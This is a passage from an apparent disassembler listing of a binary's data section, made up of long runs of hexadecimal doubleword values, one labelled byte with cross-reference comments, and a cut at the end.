dd 950001B6h, 0E538D40Bh, 7F6C07h, 8A99C37Ah, 0AA4BFCFEh dd 54A8DCA8h, 2800C8E0h, 0AED5018Dh, 3E2124h, 4D7BEADEh dd 556ABB84h, 30EE4630h, 98DAE71Dh, 4C8D3C65h, 685BFC01h dd 6089F355h, 0B00FE4Ch, 71C55D8Bh, 0A82B91h, 1674ECFFh dd 9BBAE292h, 41F20B00h, 0C79DAD8Bh, 0CE5A00AAh, 0A9184FA6h dd 4D00F995h, 0E75D632h, 0E6084E0Ah, 8B1907C6h, 0D08EEB7Dh dd 1657F46Dh, 947E3207h, 0D40B3F1h, 0F0E0B65h, 0C4BF21AEh dd 5CA8F840h, 3C0068CDh, 6AF3D9D1h, 0B2863Eh, 0DE27BB8Ah dd 621C45B8h, 151EAC02h, 40A4A598h, 48F9FBD2h, 0C33C14C1h dd 976301F6h, 6630FACDh, 2C6C80E0h, 63B0875h, 4AFD030Bh dd 3FB5F160h, 0D44C7DFBh, 0BC210E66h, 0E9022023h, 101779Eh dd 63C20DF1h, 0C8DE49AEh, 0A700AD3Bh, 70074F6Dh, 39FF6144h dd 798029FBh, 53C5F6A1h, 0EE0074F3h, 6F1ECFACh, 1669CEAh dd 0DF5BB816h, 0EC13DA93h, 0FA1FA0E3h, 0DB4E0A28h, 71EF2039h dd 78435C92h, 2DE00Fh, 8C0C4D72h, 0D0CB6562h, 57243Ch dd 6483E9C9h, 2939425h, 0E2A55F48h, 9CC0A1B1h, 10F44108h dd 8D9EDE00h, 86A7B545h, 23130005h, 58C42AB3h, 84008CB1h dd 45AFB72Ch, 912BCDh, 4FCBE099h, 237E59E6h, 760050F6h dd 7D4A4E56h, 673BA6h, 1629245Ah, 0A2D26986h, 760A000h dd 1650BC9h, 21DE0FCBh, 0C1C7E23Dh, 5587505Fh, 0DCFBF6A9h dd 691B16C7h, 0A0BA9907h, 0B32877h, 0DD613EFBh, 40F5AD65h dd 861CDCEEh, 438FC1D3h, 0EBE4802Fh, 559C91h, 35F59025h dd 3B9D502Ah, 87F0F300h, 1ED8BA7Ah, 0C430010h, 17185C79h dd 63F8A2D6h, 5170E600h, 2928B8BCh, 1B3407F8h, 0B035EE4Fh dd 0B472FBBEh, 0B22BC907h, 8A10977Fh, 102A899h, 4CD3EE8Bh dd 43A621C3h, 74B0B5E4h, 0D400B27Dh, 0C123AB77h, 94954Eh dd 0D75F6B06h, 40260ECEh dd 0BF256F03h, 0E1FE3016h, 0E03EEE05h, 743ECEB3h, 0CDC08044h dd 306EF4Dh, 183300DFh, 1660CF5Ch, 0C2F007E6h, 9B0047F6h dd 5A6FE4D2h, 0A19DA4h, 4A1AD311h, 3A469006h, 4CB99607h dd 3930FC3Eh, 56997Eh, 9FCA2A59h, 57153318h, 808C2600h dd 0E2FD385Ch, 75ED0007h, 7EA71135h, 66004E05h, 0A22E9B63h dd 0B2C7D6h, 6AAD4E0h, 5EB06BE7h, 0D815ED00h, 139E4C23h dd 0EEA403A2h, 0D96641E2h, 0AA071DD8h, 96212200h, 0A2B1D0FCh dd 6F98B3h, 0C5CE247Dh, 5D53890Dh, 9C6F9B00h, 148565CCh dd 26EA001Bh, 32DFD743h, 28005F08h, 9113F490h, 0F4AD8F86h dd 0ABCC039Eh, 119B8093h, 0C244A7A0h, 0E0388100h, 28A3E8D7h dd 2EBC3946h, 50071FF5h, 11AE4075h, 16192BE6h, 0C3E57800h dd 26B1939Eh, 1CF32C7Dh, 0BEDD00B8h, 96E61D7Fh, 0EB309200h dd 5FAD3534h, 4DF3073h, 149BEC38h, 581AC602h, 50627B24h dd 76540954h, 1D815EB7h, 80CF6F7Fh, 1B389D31h, 0D1DF0Ch dd 0DCAC6B75h, 0D61DEEEBh, 0E80ED9E8h, 0A0DB6E6Ah, 0D5368B4Ah dd 0A51300BDh, 0F6A74E74h, 7F3B85CAh, 0BAAE8258h, 0FD5E9498h dd 0DE3602E0h, 2A18B514h, 31C200A1h, 0E71307E4h, 3A94058Ch dd 800AE0ECh, 877D6D9Eh, 0FBD40C00h, 85425E91h, 2F0800C7h dd 0B227A347h, 0A77F35F6h, 0D1EEDEEEh, 0C1A98503h, 0B06D0A5Ah dd 394ED6FCh, 0E50021F7h, 0F54A3B91h, 82732039h, 908C8D07h dd 27108F3Eh, 0B1D4DCh, 6947EF6Ch, 0C875A3F4h, 0C01BAA26h dd 7D1E6E00h, 0E63667F5h, 423004Fh, 0D7849FD8h, 0E0061AFh dd 31BA2801h, 12E4E6CCh, 0B94010h, 9A20A469h, 9E7633D4h dd 9487D103h, 0EA0C0444h, 1400FFD3h, 0B42B4979h, 0E2DE3100h dd 1A8C81C3h, 442E00F4h, 0C2D112Ch, 921F69E5h, 1FDC9DFh dd 64E7E4ADh, 34F0654Bh, 0A100043h, 0FA68AEC3h, 0E1F6C47Dh dd 45A7A807h, 3E50F920h, 7807EE59h, 2F9C00F6h, 75F7BCF1h dd 5690FF7Eh, 1D560600h, 0DA4976A4h, 386479ABh, 0AD0FDDA0h dd 1BE0EFFBh, 0D5F19EBh, 80E52F3Bh, 3F5C535h, 8277Ah, 3C67620Fh dd 0BC3961B9h, 0F2BF0C00h, 185AD496h, 0A46F00EEh, 8A0B8E1Dh dd 48004C6Ah, 0AE88BD7h, 3259914h, 0D3A64641h, 93A75283h dd 0FECF8E3Ah, 80E2F484h, 861D4AEDh, 92CE8B00h, 0BB5AB487h dd 470D0FD7h, 50801BBEh, 28126870h, 4D734F00h, 0D70CF81Fh dd 345E0299h, 1AE3443Ah, 0C3B1C4C0h, 1D4C8200h, 0F0CC1C0h dd 181F461h, 1B70CE8Fh, 0C037A9AEh, 0C200B9BFh, 34AFACA5h dd 79047FAh, 0CC1D4D66h, 0DE5D0355h, 5E54FDC0h, 3EEE3100h dd 0E1B32B3Bh, 0CAD3002Dh, 0AA7C8DFEh, 440FA25Dh, 0E7B23009h dd 6450A10Dh, 346B475h, 7917878Ah, 34C0DC3Bh, 0A207C433h dd 22CEC81Fh, 0F691D910h, 8CF400BBh, 78FD4963h, 150024BAh dd 32101D36h, 8F79F5h, 0D39302D4h, 0BF9B312Bh, 18AF040Fh dd 0FD4BA087h, 1EF03B7Bh, 4F0F0108h, 77839BF8h, 5E90C15Ch dd 4D7404B8h, 0D6009C79h, 10D48261h, 35A4AEFh, 0CE94B59Ah dd 0B9B0EA5Bh, 0E9009EC8h, 7802D601h, 187D25F4h, 29494115h dd 9A0E3BF1h, 0EEDBD9D0h, 2412E771h, 36FEF3B0h, 1BC60006h dd 51E2145h, 27009AAEh, 0A9D5DA13h, 13F567Ah, 0D91F9462h dd 200EC838h, 7C0011A8h, 0BC820DBEh, 0FFAAB0h, 16EC977Ah dd 8133D340h, 6AEA0600h, 72767B1Ch, 981E0057h, 357CC9B3h dd 63005458h, 0AC9945D2h, 7768Ch, 933882Fh, 0F83B287Dh dd 0C2734A00h, 1343B437h, 0F6D100C1h, 50F2D54Bh, 0C579566Bh dd 0E321CA00h, 31835BECh, 9BA5004Ah, 22EDB6F5h, 500F8BFh dd 71422B06h, 0E6B94123h, 2670B14h, 0A601DBB6h, 0D8B3D18Eh dd 4B041B84h, 0EEE05C4Ah, 97B7480h, 76FB008Dh, 0EBF1BB7Ch dd 0CC00692Eh, 6C0B9CAAh, 3E42C06h, 0B981ACD2h, 0A9C0A071h dd 55EA1776h, 83001A70h, 0D7B06977h, 72AA23Ch, 6F4436E8h dd 58C8F089h, 7807D1F2h, 183F5384h, 49707577h, 6CF9FFh dd 0AE2BA59h, 550189F3h, 214F5600h, 7C63DF44h, 0CEAB0033h dd 0F0A8CD06h, 2C036B84h, 7DB10FFh, 0C1D4B871h, 77040018h dd 6E4F2757h, 61005FF3h, 8730532Ah, 38E7C5E1h, 1E001D8Bh dd 6A9F4282h, 0B70018F8h, 0E096655h, 1E49456Eh, 809ACA64h dd 0A05B3DFEh, 691476ADh, 1CB07A9Dh, 0AF40247Ch, 2ACCD450h dd 70F900B3h, 594015B8h, 460EB107h, 0E08325E0h, 74097D84h dd 0BB9D00C5h, 923212F7h, 7A03DD98h, 0F01F39CAh, 6794806Dh dd 1FEE1h, 0DE193237h, 7C7446DFh, 8BFE001h, 147753A5h dd 0D1F01ACDh, 81B00067h, 591DF86Fh, 8F06D42Eh, 2F3E9D90h dd 40FA0072h, 0B106B64Bh, 0D0B5E80Bh, 668F03BEh, 0C3877E1Ch dd 4CDCC6D8h, 17F7BF01h, 4AADE2ACh, 336A91CCh, 0D8281A81h dd 34B03AB0h, 0B9BCDF01h, 0C5EC30E8h, 0F713880h, 77C95D54h dd 905B9D00h, 88336BA1h, 797503E3h, 569BF283h, 0BBA025E3h dd 0DA71E817h, 6591F00h, 5B7E6F8Dh, 159C0085h, 0ECBC7F19h dd 0C800AF4Fh, 3F667C2Ah, 7AE887A5h, 6FFB00ABh, 31C542FFh dd 0F600237Fh, 91652B39h, 0B0692F44h, 0CCF223h, 5A4EC694h dd 155CA47Bh, 47FFA701h, 39B11838h, 0F4E4A5D1h, 5275070Eh dd 0E04D70DFh, 0DADB5ED7h, 0DC739D00h, 99F077Dh, 0E3FE0244h dd 0E0BC1916h, 0E26D62E0h, 5FA5DB0Fh, 60BFAF6Bh, 20B4D660h dd 2B70C054h, 0E715EE2Fh, 803081C0h, 6E2359h, 534EB8C7h dd 0BADE2AF5h, 0B000C07Dh, 243A0D25h, 0EC9F163h, 47018C2Bh dd 59737141h, 9E836062h, 34796507h, 9FB092B1h, 0D4C7C4h dd 51AD7628h, 0F04CB9C5h, 3E716800h, 665F8EE4h, 987D07EFh dd 61AC343Dh, 30BE4A06h, 720790ADh, 0BFFCC47Ch, 303C6950h dd 0C8855019h, 7ABBECA2h, 5ACB1CF5h, 4849800Bh, 56FCE779h dd 0F600E190h, 2CC7A15Dh, 30C7B53h, 0BF6BC1CCh, 0B5E81585h dd 0FA481AFDh, 5EA400A3h, 0A057AD29h, 42CC00CAh, 364C6331h dd 0A60F929Dh, 0E127B57Bh, 0BEC956CBh, 7308083h, 499B7F3Eh dd 0F82CEDA0h, 5BA1200h, 5B75AF9Ah, 8AEF0065h, 5F024997h dd 0B7007C2Fh, 0D872D656h, 3240770h, 0DE32A8ACh, 3D99F579h dd 40B44196h, 202286h, 71D3414Eh, 166002h, 2CDD1584h, 46962E9Bh dd 0B02B9401h, 35AAE861h, 0D8DCDFD9h, 29CE00D4h, 0BE5986F0h dd 8D0062E5h, 9714977h, 7ABA7C7Fh, 0CDD10087h, 1A95253Eh dd 1C03B252h, 3D17129Ch, 0E0F09FEFh, 0D541FFh, 0A5F806B5h dd 0AF37F3BEh, 0DCB26C00h, 11174B7Eh, 0F65DF6E9h, 329900F4h dd 6BC42ED3h, 52C9A43h, 1617BA76h, 0CB52D603h, 0E896C82Bh dd 223A0E68h, 90404CE4h, 0B0492C62h, 89A44A1Ch, 1FA35F01h dd 2620376Ch, 0F8B52653h, 0ABBF000Ch, 0D9451B0h, 92C1561Fh dd 0E2377800h, 0EC4A4Ch, 0AE856DC8h, 19367A7Fh, 64B80D07h dd 9D60DFDAh, 38DF4ABh, 25B175CCh, 0E2FB03E7h, 0F8498289h dd 5B3F6296h, 2677BF0Bh, 0FB07F525h, 0B8B12914h, 9BEC7298h dd 0CB400A4h, 796B641Fh, 100774C3h, 203E0FBEh, 6904C120h dd 0A3B2001Dh, 7725EB4Ah, 0FC004D10h, 1F192CA5h, 0DAE575h dd 838BE88Fh, 33BBBA7Dh, 0A395EF00h, 0FADC52DBh, 0ADF01F67h dd 0F8F600B6h, 494D234Ch, 50056E05h, 41C01639h, 98FF29h dd 0A3DAA936h, 0F00DB169h, 0A1223300h, 264A90C1h, 0E2DB398Ah dd 5F087C81h, 0C892FB2Dh, 4514F4B2h, 8541C5h, 0C7E902B4h dd 2E0633A7h, 0F9398h, 43C1EF5Dh, 0A507D112h, 0D22749BFh dd 0EBE1BE70h, 0A3EE0080h, 0B2890A6Ah, 2CE08C54h, 0E4FD0871h dd 0DE00A1AAh, 11569643h, 295434h, 0B6BB914Eh, 57FC9C23h dd 0E9229403h, 804CB4C2h, 1D4032BFh, 8020D8B1h, 0AFCB806Dh dd 4CF48C76h, 83AF517h, 5A245E07h, 895232E0h, 4D590038h dd 5F5E9006h, 74016669h, 6F7E536Dh, 9609747h, 2A8D00C7h dd 0B7E83E05h, 0FD586E87h, 0C1950569h, 3B80E4CBh, 115308Dh dd 0E0BAF10Eh, 30109AAFh, 0B4985DF8h, 218BF400h, 119DC08Eh dd 0B83C384Eh, 0E36707F9h, 0F1F675FBh, 0E0B2122Dh, 89003A8Ch dd 87A72C02h, 98FBF117h, 0EE0D00B2h, 8508C97Dh, 0D20172E1h dd 3FD329B6h, 40FE9F99h, 0C40BE0h, 720A4A54h, 0E19ADA44h dd 9C36372Ah, 0E16348h, 886204ECh, 18126h, 0F95CE874h dd 3B12BDFEh, 2F0F0E0Fh, 0FDA98061h, 2C20CEEBh, 0E8E3C68h dd 0D12E0385h, 0D0C84300h, 7648EE12h, 49AB0010h, 69673819h dd 24E000F6h, 61A3AA2h, 53001293h, 0B73364C5h, 0FAE678h dd 905FF847h, 4ABB8A5h, 69F16B09h, 4D9401F3h, 5FC79DFh dd 2BC0083h, 0BDA9011Bh, 96006F2Fh, 4AAB683Dh, 7D24DDh dd 7F0CEF48h, 0EE9D6DF8h, 17E7751Ch, 10A29840h, 54A7EAh dd 0E3AA9CE5h, 0DFCD197Ch, 3F3DD91Eh, 7E8C1EC0h, 854076h dd 0EC32283Ch, 0C9CFBF49h, 80868D3Bh, 0B89CDAD1h, 70BB4F3h dd 0E1FC2004h, 0DFCE2070h, 4F01F7CCh, 7D4AEA81h, 2130AD4Dh dd 0BB8C26B0h, 237400BCh, 0CC9D1C29h, 80E0C63Fh, 60E9F45Ch dd 0FD696Dh, 1FF58622h, 2878CEDFh, 0A58858h, 0BE65E85h dd 0EE7AE8E9h, 8630073h, 0EDF73296h, 0A9260784h, 0A885BC4Fh dd 0EC0E7561h, 0D86640C0h, 0CECC229h, 0EEC4CED7h, 0E00DB18h dd 87DCB42Ah, 0C172643Bh, 0A5AC5331h, 5848807Eh, 0CEE5E9CAh dd 102204E1h, 0C085B1E0h, 0F2622528h, 0AD0D1D01h, 0DFFEEA8Bh dd 573F70h, 0FFDA5BB9h, 0CD56D36Fh, 750FFB0Ch, 0F85E5054h dd 0B9ED0071h, 0B08476C7h, 0F80063EBh, 0AE87CD1Ch, 0E4F04ECCh dd 77FF0061h, 0FEDEE8A2h, 6E025C3Bh, 0CD5376BFh, 0B2DAE0A6h dd 97C0C09Eh, 8720ACE3h, 0A34D2186h, 0E524C200h, 0CF796Eh dd 59543852h, 2CA1CA1Fh, 34038607h, 0E340A3DDh, 498593h dd 5F512F7Eh, 82CCA2D0h, 9F150600h, 0B7274413h, 3DEA0320h dd 2B921170h, 80FDC1B3h, 7FD0CA2Bh, 43350600h, 0CB30692Ah dd 0D74F0008h, 4AB6FFADh, 0A800EB3Bh, 320FE16Dh, 7AC86125h dd 2ABC8Ah, 0F923C04Dh, 0F3FAE40Eh, 0F67E0500h, 0CFCE47B0h dd 5A5400C5h, 5B512560h, 2F01E08Eh, 1742AC0Bh, 0F0F9D591h dd 0FAF9E1F8h, 480C0003h, 0C692CCD8h, 31007A4Fh, 0DB8613B6h dd 5D6CBEBh, 4EA89976h, 0AD98408Bh, 0B7E9EF0h, 571601Dh dd 0A3E15783h, 0DB210044h, 59DDED88h, 7F0FB6E6h, 84B92FD8h dd 800A8D35h, 63E100ACh, 0C9E06111h, 0FD0984F0h, 32735Ah dd 4B097BA0h, 30866165h, 244D3999h, 14003054h, 606C11DBh dd 16791Ch, 0DDE50DFEh, 73DAA1BDh, 3887A624h, 0A0F96E00h dd 0C5A8B1h, 0C330D134h, 0FC04D568h, 23EED901h, 551DCA7Ah dd 54081D0h, 7443722Ch, 708090ABh, 1C3E03DAh, 132A9626h dd 0FDDCA600h, 7FAF4CEh, 0E341F6BAh, 4A5D007Eh, 6C003022h dd 6DA3B904h, 9CC010h, 4BED7F7Dh, 1AF0D66Bh, 0DD21F30Fh dd 9ABAC0F2h, 137315h, 925EEAE2h, 7CFEE7CEh, 59E66D07h dd 71456FACh, 0B8EADD00h, 8F2657h, 7F167A70h, 0DA2336AEh dd 9047F900h, 8C4DEEACh, 9F7200A8h, 0D6D46D80h, 197824D5h dd 747E40C0h, 1B0C0CBh, 75399C36h, 0D0134C0Eh, 20D8F94Dh dd 3C8EC0D4h, 0C48197B6h, 1F1C63ABh, 7EA08980h, 7908013Dh dd 70BA8EBDh, 72B0703Ah, 84E07EC1h, 10FCE900h, 0DD6C9B51h dd 18F52AD5h, 0C02E0440h, 63143683h, 0F541016Fh, 1FD8C09Fh dd 609CE119h, 72678D90h, 6280E948h, 0E06C9A93h, 6F880016h dd 8B3FE670h, 6B00B868h, 32FF6D48h, 0BB9F94h, 0BE2D1609h dd 95A91F82h, 44D0AA00h, 0FE8E56B0h, 3F575E6h, 6D367967h dd 26B0FDBBh, 0F800FFCBh, 899854AFh, 0D35CE1h, 0B2D25B86h dd 96B1F184h, 0D90134F8h, 0BC60E376h, 12F4D194h, 0C7800037h dd 0E1642679h, 0F41E3F3Bh, 0AA006FC5h, 0FC320335h, 9B2F001Dh dd 75648268h, 0A16055CFh, 9F06E840h, 461D089h, 18A2A2B8h dd 87E0417h, 54CE20EAh, 8A56007Fh, 1DF3E82Fh, 6BA43D00h dd 399F6C22h, 0FB16004Bh, 2DBB95CDh, 9D5FD799h, 5E2BE0h dd 944FD5Bh, 0A6104FE7h, 6E9950C0h, 1FAA0B17h, 792A2Bh dd 26FFA91Ch, 46009BFCh, 2CFE6693h, 51B2BABh, 325102FAh dd 8F2038A6h, 0FB001D46h, 3994427h, 88DE06DFh, 55BE9606h dd 0CB892CC8h, 111504C7h, 82848718h, 887E406h, 4FAE80D3h dd 510016EDh, 6FF9FC8Dh, 0D59823h, 0FEAF27Eh, 0B906A76Eh dd 9601FAECh, 89A23E04h, 88E191A4h, 0BADC6080h, 41307B17h dd 0F10A0400h, 71D77FFFh, 98465029h, 1C42B0BEh, 940FEB27h dd 7001B421h, 8F7701A2h, 5BB7C0FAh, 0C40773FEh, 9FE591D8h dd 1BB661CCh, 0B00FEE1Fh, 62BA1019h, 205181B0h, 0F8F3BE22h dd 472A6EDFh, 0DB9A9D92h, 592010B0h, 8E9C0548h, 6CD73A2Ch dd 95019240h, 5178E98Bh, 0B5D847D2h, 3A8700D0h, 4A8FDCEh dd 316135E8h, 0A25D5818h, 3BE1BAF0h, 10EC6193h, 4A1E7741h dd 0B500328Eh, 10A3E59Dh, 0E61E009Eh, 0EE1D1275h, 1100CFC6h dd 5DB553AEh, 1F6189B1h, 3C49FF9h, 2E5A7A79h, 3A8F37C8h dd 0EE02E179h, 783EECAFh, 0A74C1011h, 46983204h, 0A27C8E06h dd 0F25B040h, 0D3E61FA8h, 0FEBA5DA0h, 7400E8BDh, 0C0047A40h dd 639F67F2h, 5279198Ah, 0B5FFC0E4h, 9028E66h, 0F65AE651h dd 2320B0AAh, 0B14B428Dh, 40E81C2h, 89B972A9h, 0BB88E601h dd 560F0EE1h, 80118D93h, 1C5439ABh, 3562328Bh, 209C5C80h dd 0A0590211h, 4C8080D8h, 4185E0F2h, 1C8B2E5Eh, 18407B48h dd 40D4D197h, 1084A14Ah, 0C2E689D3h, 38A2EA22h, 590A3EFBh dd 40DD74E4h, 2BE596F0h, 220B601h, 0DF232D81h, 0E0E21515h dd 0C676B204h, 0FA6081D6h, 2C29C85Dh, 0A8009DF0h, 3E061265h dd 1342F237h, 7EF1B81h, 375D6A8Bh, 11D9C032h, 0C700F7E5h dd 4536B7CFh, 14DD5912h, 207AD0B1h, 0A4248EC7h, 3D102A6Ah dd 78FBE0CCh, 0BC1F23DEh, 0EC3CC1E4h, 85FFB908h, 0F81DD6BBh dd 0F0489842h, 494254ACh, 0DA4617C0h, 0B457FF88h, 20318A60h dd 894B058h, 69BDB857h, 50FF5F1h, 80AF1C52h, 43396078h dd 0F8E881DEh, 205EAE21h, 8B811D30h, 0AA018952h, 20D63739h dd 0A8337D55h, 870E12h, 26144237h, 0A89B3641h, 65324E62h dd 0AF4030C8h, 6C23FE0Dh, 2C62E454h, 1D870272h, 53B6E09Fh dd 30B6213Eh, 21D3E04Fh, 0C2072FCDh, 9F0AC280h, 8B1A211Eh dd 7386B940h, 0C74321DAh, 604B4A51h, 65405407h, 0DEF948A0h dd 0DA22000Bh, 0A98DE482h, 9F20AD3Fh, 4168AC32h, 139FE666h dd 1468EA3Ch, 8CAEFA01h, 8F0F1697h, 0BD36081Fh, 6340ECEBh dd 6185A07Dh, 0BED7286h, 0E099D104h, 1A212A08h, 0F617A7E0h dd 0C58E4729h, 6028C3AEh, 0CB181036h, 0A74AA80Ah, 9AA8580h dd 0CA08CA43h, 405A601Eh, 0AF353313h, 41921840h, 0B52449F3h dd 2005E4C6h, 2C9871A9h, 15400247h, 35328312h, 4163C3Eh dd 514CAAACh, 91D6D850h dd 0F20820AFh, 1C4C260Dh, 9BB9012h db 0A7h byte_530055 db 0BEh, 0A8h, 0B8h ; DATA XREF: ___:off_437A2Co ; ___:off_437A44o dd 2616DD48h, 5488BD40h, 40DE0121h, 8DB646B3h, 50110921h dd 20A5D785h, 0FC8C5401h, 405BB5A8h, 23758903h, 7F97F51h dd 41E53047h, 1549A01Dh, 41B4E40h, 735AF622h, 0C51D0372h dd 44B39CBCh, 51D81800h, 0AE3E3B09h, 0F0DBFAFCh, 0E8D0555h dd 20AFEFBDh, 0EAD15C20h, 41A1D742h, 88020E90h, 0AD1EDE32h dd 4019523Eh, 437F66C0h, 888FBB37h, 3A508FEDh, 7CC31CE6h dd 0F151E15Fh, 710E204Bh, 0BCE8B8D0h, 0B85F9h, 61E0E698h dd 8FA8A221h, 0A0F0DD90h, 6E11E214h, 89E2538Bh, 0E6800216h dd 35AB6A66h, 0A110A095h, 69C001B4h, 0A6DA9F3h, 28903584h dd 0A9E605A5h, 78DD60A0h, 0FD3CCD20h, 9200463Dh, 0D5C1105Bh dd 928FBCD6h, 82202D79h, 2821B140h, 0CD0815BFh, 0FE837006h dd 1F3531EDh, 20D12BC0h, 27E62A80h, 911098BCh, 6E55040h dd 63BE0187h, 1FA890B2h, 60016114h, 0ECB52BA0h, 0A2C0DC52h dd 76809EF5h, 0A0525244h, 4E0739B1h, 21AB0580h, 0A02A6CCEh dd 2DE0E921h, 85153AC7h, 402C3D45h, 636A14C7h, 1A8A0A1h dd 322341C3h, 2E5DB0C3h, 6F82071Bh, 0FFFA1AFEh, 0B313CA01h dd 8E5420FFh, 0A742AC0Ch, 22DE5106h, 0B01C6419h, 0B402EBBh dd 1DB56DF3h, 2D680F5Ah, 7CE3099Dh, 381E4277h, 139851DCh dd 0F3F9988h, 0A217851Eh, 0BE364681h, 3778EC4Eh, 79965B0Fh dd 0AB8680BFh, 49E2CFh, 3E1DA211h, 0D2BE10A4h, 9F2F973Dh dd 3B0013FAh, 0BBC35267h, 31997CDDh, 6631F809h, 0A720DA2Ah dd 80145EFCh, 6300FF81h, 0E9C2D73Fh, 6789B9Dh, 0A9EDD68Fh dd 0B030A241h, 1B2650A0h, 7896035Eh, 5872D20Eh, 2ABE1B8h dd 0C4851500h, 4224C968h, 3E1E0022h, 1294E656h, 4600A162h dd 19AA2A88h, 4788DC9h, 6A8E5EBFh, 0CCB1065Ch, 9CF8E8h dd 0A815253Ch, 238C5526h, 0BF447E03h, 0B3337F34h, 0CE301D4Eh dd 8DC70353h, 207EBA77h, 220EC903h, 90C488B1h, 21B302h dd 0A05EBE7Ah, 74C21AF4h, 3CCF5C00h, 0E54BD13Dh, 20BB00C8h dd 49ABC6EDh, 0C330EEFCh, 7F5808Ch, 9CE450B6h, 0AB8400A3h dd 0C10CE54Dh, 9000D0ACh, 0C207B297h, 5CF417B1h, 0C900CF85h dd 0F49B86Dh, 710FB9CAh, 80919A40h, 907C17A3h, 0A4285210h dd 0BECF9700h, 2DA575ABh, 27967918h, 28337B18h, 729098B0h dd 7CFE006Ch, 4867B524h, 4639C60Fh, 5FA08066h, 0E42FF7Fh dd 9B882AB3h, 7F9F2A8h, 0B24B2697h, 8E018882h, 0A160E612h dd 33BB2886h, 1003192h, 9559EF66h, 91EEBDDh, 61A8280Fh dd 7FF1000h, 16022DF6h, 0FCAD22A2h, 42D0A738h, 7832FCEAh dd 80D7299Eh, 48B0590Eh, 60100A4h, 0DD941D17h, 3B524777h dd 724BE8A8h, 457801F9h, 0E40219BFh, 53F0407Eh, 0E7754CC4h dd 0F005CF8h, 0EE61EBBBh, 7EE0F907h, 7C8D1E32h, 7C3DB5h dd 60E49155h, 6F3A39E8h, 0AAC07501h, 33FFAEA9h, 1B4C4BC4h dd 31B73B79h, 0C084E093h, 0FE3117C4h, 180A4A33h, 3A9BA035h dd 0EFB73E9Ah, 0D708407Dh, 60F23F18h, 1DA27580h, 162C4B4h dd 0D35D3D9h, 0CB2182B3h, 80DCE47Dh, 0F50F7550h, 5C731F77h dd 0E3A68053h, 0E5DD6A7Bh, 82D3400h, 4B84132Ch, 51CE3AD9h dd 400A23Ch, 0ACC47E14h, 0D030D73Dh, 1FCE192Dh, 985900A3h dd 7310C79Ch, 0D400F3DDh, 0FA483F39h, 0FC3FE7Fh, 8DBF427Dh dd 0D3F8D603h, 0DFA8D18Bh, 43FA737Ah, 0A7A5F600h, 3EFA85B5h dd 0EFC30048h, 32C149A6h, 0B6666CE8h, 688A6Ah, 0DFA32E15h dd 8457D3B9h, 80473C3Eh, 92BA5B8Bh, 49CA5h, 0C9A6CC12h dd 32840A2Ch, 0BF5B80C0h, 0AB9AE2h, 0A9F7FCCBh, 0C9418803h dd 0D30D0B1Ah, 0DF44C048h, 0D0CF6139h, 0F0EE5904h, 9D0CE692h dd 195A0CABh, 0B20F07FCh, 0C3427AFBh, 3CC0C3E9h, 2EF05C3Eh dd 0B8E03670h, 9E792B71h, 0F37AD103h, 195AFF0h, 0D6F97310h dd 414667F1h, 0DCEF6980h, 9800DBBDh, 1747A4C2h, 5120D7h dd 3EE8F4D2h, 0D26BC9Ah, 0AC3DA128h, 0C88A900Ah, 6F87BC5Fh dd 30CC8BC0h, 0AA5BF88Dh, 5FC1400Ch, 28CBF89Fh, 180C5AB7h dd 31504D4Fh, 0A77C9353h, 5EAD0D1Fh, 9DD13243h, 10D2C397h dd 0AFF17B8h, 8041259Bh, 9F6D7F85h, 0B7ABA001h, 3BE9DF13h dd 0A19C8043h, 80FEFFCFh, 4FF02FA0h, 10757DA0h, 613ACC3Dh dd 9F587719h, 11A71701h, 90E7E7A1h, 28BE0F9Dh, 39CC6A49h dd 8EB0C556h, 310D27D8h, 95849E50h, 8DF18A11h, 6415007Ch dd 13CE476Ch, 24AE49CBh, 19DCF436h, 0C7801F48h, 2A90104Fh dd 6F018471h, 332377D8h, 304C8DD1h, 2D3D0F06h, 0CFE9A15Ah dd 40F70C07h, 8E44DF12h, 10807A52h, 0B78EA745h, 4FA3464Fh dd 0E7C1F1D0h, 0E5A84096h, 0FC28228Ah, 104A49Ah, 7027FD3Ah dd 0D8600341h, 37898E87h, 5B146543h, 0D865E84Ch, 0C0B8605Dh dd 0A3BFA41Ch, 0E8C46CF6h, 3087448Eh, 9F413CAAh, 400875A0h dd 8489A821h, 217A466Ch, 0B182243h, 62302148h, 30C78D79h dd 0AD00073Fh, 60D450BDh, 0D62FCDh, 810EC5D3h, 3A30961h dd 54005BF0h, 571DA1B2h, 0B090D1h, 0CA7DB723h, 0D692D29Eh dd 0B3DF0603h, 0CBC70FA9h, 656FE847h, 0F50C0F39h, 57E0349Eh dd 25C2BDDEh, 1383B604h, 86BEAE12h, 0DB223183h, 1B20C66Ch dd 4B0098FCh, 6D7CB93h, 0ABA8A767h, 0B5AF9330h, 28D71806h dd 40930051h, 0DA54D32Bh, 32010CC6h, 0B2F2A689h, 6048137Dh dd 0A51F2109h, 0CFC14308h, 0D36267C8h, 2EC12E71h, 432F319h dd 61F19C44h, 0C9FA961h, 56122105h, 0A40E7184h, 3C985B22h dd 0D52236F7h, 740B2341h, 0D8FFD30Ah, 55499C83h, 468009Bh dd 0B1A88348h, 38C4374Dh, 0D7615797h, 7958521Ch, 42496538h dd 1071112Eh, 310DF184h, 0C458ACB3h, 946D53ABh, 883C3329h dd 0ED62D63Bh, 9B9D202Fh, 67314149h, 35BAC004h, 8D1030BCh dd 38F989AFh, 4262E548h, 0AC2D2904h, 3805B112h, 0E8061A09h dd 10313B0Dh, 85013921h, 6C2011B9h, 84A52E99h, 0DB60EB49h dd 6C09B57Ah, 0A60158Fh, 62DC356Fh, 18B648BBh, 0C511F714h dd 9C932B30h, 848A0F8Ah, 0CBA88D67h, 6FD83A08h, 0A5C11208h dd 83089EE1h, 0DB3F108Eh, 482384C6h, 0C271F61h, 4D3CA63Dh dd 318A08D9h, 0BCB9613Ch, 8E7308A4h, 42CED73Bh, 6826E71Ah dd 631B3C02h, 61724466h, 0A099218Ch, 63C1D94h, 156FCBB6h dd 9CFC8111h, 20E52C20h, 0BB440398h, 6CF5547Bh, 0D8EB2021h dd 49E6EC0Dh, 4442716Dh, 7FD88203h, 0C89327CDh, 60B06B0Ah dd 0FF083849h, 0B92386F4h, 66890462h, 38ED2204h, 82429A91h dd 8A9C7F2Bh, 65D8DD8Fh, 4F3C33B7h, 616931BCh, 4A203D18h dd 2FA4002Eh, 374B30CAh, 3E7E7A0Dh, 380916B0h, 218960D1h dd 1C9B3ACh, 9D872080h, 0CB6AD861h, 5C7211F8h, 0C0413B30h dd 73A0CA4Dh, 0EC3530D2h, 1C6FCC51h, 34D87961h, 2448C8B1h dd 84DE4CBh, 12A8170Eh, 